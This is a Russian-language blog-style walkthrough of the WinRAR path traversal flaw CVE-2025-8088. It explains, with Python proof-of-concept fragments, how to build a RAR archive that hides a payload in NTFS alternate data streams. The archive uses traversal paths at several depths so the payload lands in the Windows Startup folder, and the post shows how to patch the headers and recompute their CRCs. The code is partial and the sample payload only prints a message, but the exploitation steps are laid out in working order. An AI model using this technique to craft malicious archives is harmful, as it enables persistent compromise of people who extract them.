
CVE-2025-8088
Отказ от ответственности: этот материал предназначен исключительно для образовательных и исследовательских целей. Не используйте эту информацию в любых вредоносных целях.
Сегодня мы подробно разберем интересную уязвимость обхода пути, известную как CVE-2025-8088. Эта уязвимость позволяет атакующему записать произвольный файл в любое место в системе жертвы, когда она извлекает специально созданный RAR-архив. Что делает этот эксплойт особенно интересным, так это его подход «дробовика» для гарантированной доставки полезной нагрузки независимо от того, куда пользователь извлечет архив.
В этом посте мы разберем технику, использованную в приведенном Python Proof-of-Concept (PoC), для создания вредоносного .rar-файла.
Конечная цель этого PoC — классическая и эффективная: закрепление. Используя уязвимость обхода пути, эксплойт пытается поместить полезную нагрузку (payload.bat) в папку автозагрузки Windows (AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup). Любой исполняемый файл или скрипт, помещенный сюда, автоматически запустится при следующем входе пользователя в систему, что предоставит атакующему постоянный доступ.
Python-скрипт автоматизирует многоэтапный процесс создания итогового файла exploit.rar. Разберем его логику.
Первым делом скрипт подготавливает компоненты:
payload.bat. Это вредоносный файл, который мы хотим доставить на машину жертвы.PAYLOAD = "@echo off\necho Payload executed!\npause\n"
file1.txt, file2.txt и т.д.). Эти файлы служат двум целям: они делают архив похожим на легитимный и, что более важно, выступают носителями нашей скрытой полезной нагрузки.def create_files() -> Tuple[List[Path], Path]:
# ...
for i in range(NUM_DEPTHS):
decoy = Path(f"{DECOY_FILE_PREFIX}{i+1}.txt")
" X " * 200). Этот заполнитель будет внедрен в метаданные архива, а затем заменен на наш вредоносный путь.Это ключевая часть техники. Вместо того чтобы называть файл путем обхода, скрипт использует возможность файловой системы NTFS под названием альтернативные потоки данных (ADS). ADS позволяет «прятать» данные внутри существующего файла.
Скрипт присоединяет payload.bat в качестве ADS к каждому файлу-приманке. Имя этого потока — как раз то место, где используется заполнитель. По сути, создаются пути, которые для файловой системы выглядят так:
file1.txt:XXXXXXXXXXXXXXXXXXXX...
Содержимое payload.bat теперь тайно хранится внутри file1.txt.
def attach_ads(decoy: Path, placeholder: str):
"""Attach payload to decoy as Alternate Data Stream"""
ads_path = f"{decoy}:{placeholder}"
with open(ads_path, "wb") as f:
f.write(Path("payload.bat").read_bytes())
Затем скрипт находит в системе инструмент командной строки Rar.exe и использует его для создания легитимного базового архива (base.rar). Этот архив содержит все файлы-приманки, которые теперь тайно несут полезную нагрузку в своих альтернативных потоках данных.
На этом этапе base.rar — совершенно корректный, не вредоносный архив. WinRAR может извлечь его без каких-либо проблем, и он создаст файлы-приманки с их длинными странными именами ADS.
def create_base_rar(rar_exe: str, decoys: List[Path]) -> Path:
# ...
subprocess.run(
f'"{rar_exe}" a -ep -os "{base_rar}" {files}',
# ...
)
Вот здесь эксплойт становится хитрым и устойчивым. Атакующий не знает, куда жертва извлечет архив. Будет ли это C:\Users\victim\Downloads? C:\? D:\Temp?
Чтобы преодолеть эту неопределенность, скрипт генерирует список различных строк обхода пути, каждая с разной глубиной:
..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.batИдея в том, что при наличии нескольких глубин по крайней мере одна из них успешно пройдет путь из каталога извлечения к корню файловой системы (например, C:\), а затем в целевую папку автозагрузки.
def build_relative_paths() -> List[str]:
"""Generate paths with different traversal depths"""
paths = []
for depth in range(1, NUM_DEPTHS + 1):
paths.append(("..\\" * depth) + RELATIVE_DROP_PATH)
return paths
Это сердце эксплойта. Скрипт открывает base.rar в бинарном режиме и проводит «хирургию» над ним.
Он перебирает внутреннюю структуру архива в поисках заголовка каждого файла (file1.txt, file2.txt и т.д.). Внутри каждого заголовка он находит имя заполнителя ADS (:XXXXXXXXXXXXXXXXXXXX...) и заменяет его одним из вредоносных путей обхода, сгенерированных на предыдущем шаге.
file1.txt получает путь с ..\.file2.txt получает путь с ..\..\.def patch_rar(base_rar: Path, placeholder: str, relative_paths: List[str]) -> Path:
# ...
while pos + 4 <= len(data) and current_file_index < len(target_paths_utf8):
# ...
# Find the placeholder and replace it with the target path
c = patch_placeholder_in_header(hdr, placeholder_utf8, target_utf8)
# ...
Простое изменение данных заголовка повредило бы архив. WinRAR использует контрольную сумму CRC32 для проверки целостности каждого блока заголовка. Если контрольная сумма не совпадает с содержимым заголовка, будет выдана ошибка.
PoC предвидит это. После патчирования заголовка вредоносным путем он пересчитывает правильную контрольную сумму CRC32 для всего измененного блока заголовка и записывает новую контрольную сумму обратно в файл. Это делает модифицированный архив абсолютно корректным с точки зрения WinRAR.
def rebuild_all_header_crc(buf: bytearray) -> int:
"""Recalculate CRC checksums for all headers"""
# ...
while pos + 4 <= len(buf):
# ...
# Calculate CRC for the header region
region = buf[block_start + 4:header_end]
crc = zlib.crc32(region) & 0xFFFFFFFF
# Write the new CRC back into the buffer
struct.pack_into("<I", buf, block_start, crc)
# ...